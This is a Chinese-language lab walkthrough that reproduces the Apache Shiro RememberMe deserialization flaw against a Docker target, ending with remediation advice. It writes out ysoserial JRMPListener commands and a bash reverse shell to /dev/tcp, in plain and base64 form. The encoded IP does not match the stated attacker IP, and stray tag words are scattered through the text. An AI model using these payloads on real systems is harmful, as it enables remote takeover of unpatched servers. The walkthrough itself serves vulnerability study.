0x01簡介
這個漏洞屬於java反序列化漏洞的一種,shiro是java的一個開發框架執行身份驗證、受權、密碼和會話管理。使用Shiro的易於理解的API,您能夠快速、輕鬆地得到任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序。
官網漏洞說明:https://issues.apache.org/jira/browse/SHIRO-550
Apache Shiro框架提供了記住我(RememberMe)的功能,關閉瀏覽器再次訪問時無需再登陸便可訪問。shiro默認使用CookieRememberMeManager,對rememberMe的cookie作了加密處理,在CookieRememberMeManaer類中將cookie中rememberMe字段內容前後進行序列化、AES加密、Base64編碼操做。在識別身份的時候,須要對Cookie裏的rememberMe字段解密。根據加密的順序,不難知道解密的順序爲:
獲取rememberMe cookie
base64 decode
解密AES
反序列化
可是,AES加密的密鑰Key被硬編碼在代碼裏,意味着每一個人經過源代碼都能拿到AES加密的密鑰。所以,***者構造一個惡意的對象,而且對其序列化,AES加密,base64編碼後,做爲cookie的rememberMe字段發送。Shiro將rememberMe進行解密而且反序列化,最終形成反序列化漏洞。
html
0x02影響版本
Apache Shiro <= 1.2.4java
0x03環境搭建
小受:kali2020 192.168.10.161 服務器
小攻:kali2019 192.168.10.215 ***機
咱們使用docker搭建環境搭建
docker pull medicean/vulapps:s_shiro_1
啓動docker鏡像:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
在瀏覽器訪問http://ip:8080測試環境是否搭建成功
服務器搭建完成
搭建***機環境須要java8環境
Java8安裝教程:https://www.cnblogs.com/longgang/p/12956079.html
Java8安裝完成後使用java -version 查看
安裝mvn
wget http://mirrors.hust.edu.cn/apache/maven/maven-3/3.3.9/binaries/apache-maven-3.3.9-bin.tar.gz //使用wget下載
使用tar -zxvf apache-maven-3.3.9-bin.tar.gz
mv apache-maven-3.3.9 /usr/local/ //移動到usr下local目錄
vim /etc/profile 配置環境變量,在底部添加以下配置
source /etc/profile //從新加載環境變量
mvn -v //檢查是否安裝成功
python
0x04漏洞復現
下載漏洞復現所須要用到的ysoserial工具
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial //進入目錄
mvn package -D skipTests
生成的工具就是/ysoserial/target/目錄下的ysoserial-0.0.6-SNAPSHOT-all.jar文件
訪問漏洞靶場使用burp抓包,判斷環境是否存在shiro。查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段,要勾選Remember Me選項。而後進行抓包
抓到包發送到repeater,重放便可看到cookie是否存在rememberMe=deleteMe字段
git
而後在***機執行如下命令:(這裏監聽的端口是1086)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 "bash命令"
而後咱們來構造payload來進行反彈shell的操做,寫好反彈shell的命令
bash -i >& /dev/tcp/192.168.10.215/4444 0>&1
而後轉換成加密後的指令(去這個網站http://www.jackson-t.ca/runtime-exec-payloads.html)
最終在***機上執行的命令以下:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjE2MS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
使用shiro.py生成payload,須要python2的環境
github
python shiro.py 192.168.10.161:1086 //***機的ip地址和java監聽端口
注:shiro.py須要和ysoserial放在同一個目錄下
而後在***機監聽4444端口,等待shell反彈
而後在burp抓取的數據包中的cookie字段內添加剛生成的payload,而後將數據包放行
數據包發送以後查看***機中java監聽接口和nc監聽端口結果顯示以下圖
能夠看到服務器的shell已經反彈到了***機上。可能有的會奇怪爲何這裏反彈回來的shell的名字這麼奇怪,那是由於咱們復現環境的時候用的是docker,因此會建立一個以CONTAINER ID命名的帳戶
0x05修復方式
升級shiro版本到1.2.5及以上,而且不要使用一些已經被公開的密鑰,要利用官方提供的方法生成本身的AES加密密鑰。
docker